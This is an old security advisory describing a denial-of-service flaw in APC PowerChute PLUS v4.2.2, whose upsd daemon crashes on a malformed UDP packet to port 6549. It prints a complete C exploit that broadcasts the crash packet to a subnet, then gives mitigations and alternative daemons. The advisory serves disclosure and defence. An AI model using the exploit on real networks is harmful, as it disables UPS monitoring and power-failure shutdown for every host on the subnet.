|
Vulnerability UPS Affected Systems running APC UPS PowerChute PLUS v4.2.2 (prior?) Description Theo Schlossnagle foound following (tested under Solaris x86 2.5, 2.5.1, 2.6 with a APC Smart UPS 700). The PowerChute PLUS software distributed with the UPSs provides a TCP/IP (UDP/IP) way to communicate with (for monitoring) UPS on the local subnet. It listens on port 6549 and listens for broadcast requests (UDP). So if you make as if you are actually requesting information, but send it the wrong packet... Well end of ./_upsd (the name of the daemon). The REALLY BAD news is that ALL upsd's on the subnet are effected (UDP broadcast). Exploit follows, but before that note that you don't need a specific exploit program to crash PowerChute software. Some port-scanners will crash it (UNIX and NT platform). #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> int main(int argc, char **argv) { int s; long on=1; size_t addrsize; char buffer[256]; struct sockaddr_in toaddr, fromaddr; struct hostent h_ent; if(argc!=2) { fprintf(stderr, "Usage:\n\t%s <hostname running upsd>\n", argv[0]); exit(0); } s = socket(AF_INET,SOCK_DGRAM,0); setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)); printf("Crashing upsd on host's subnet: %s\n", argv[1]); toaddr.sin_family = AF_INET; toaddr.sin_port = htons(0); toaddr.sin_addr.s_addr = 0x00000000; bind(s, (struct sockaddr *)&toaddr, sizeof(struct sockaddr_in)); toaddr.sin_port = htons(6549); memcpy((char *)&h_ent, (char *)gethostbyname(argv[1]), sizeof(h_ent)); memcpy(&toaddr.sin_addr.s_addr, h_ent.h_addr, sizeof(struct in_addr)); toaddr.sin_addr.s_addr |= 0xff000000; strcpy(buffer, "027|1|public|9|0|0|2010~|0\0"); sendto(s, buffer, 256, 0, (struct sockaddr *)&toaddr, sizeof(struct sockaddr_in)); printf("Crashed...\n"); close(s); } Let's hope this UDP port is just used by the UPS's to report problems, and that PowerChute doesn't use that to make critical decisions (like shutdown). Solution Use the freely availavle upsd without TCP/IP control. It works well well with the PowerChute Series. Also, Powerchute software will not listen on the net if you have the following in powerchute.ini: [ Network ] UseTCP = NO With UseTCP set to NO this machine doesn't show up in the list of remote ups's when using the powerchute admin interface from another machine on the same subnet. There's also a program available called 'apcupsd' which has some really nice features if you have an APC UPS. With a BkPro500 and works great. The machine with the UPS will even let other machines on the network know when there are power problems. There is also apcd using smart mode, reporting status info and being able to chain daemons and shut down more than one machines. Source IS available, a safe bet is the Debian/Linux source tree all around the world, for example: ftp://ftp.us.debian.org/debian/dists/hamm/main/source/admin/apcd_* There is a simple C++ class that allows monitoring of UPS on the network via UDP. This distribution also includes the "exploit" that forces _upsd to just "go away" on machines running it listening to UDP. The GUI stuff is written in Motif. And it was developed on Solaris, so good luck you are running a different platform. There aren't all that many syscalls, so it wouldn't imagine it being hard to port: http://www.omniti.com/~jesus/xups.tar.gz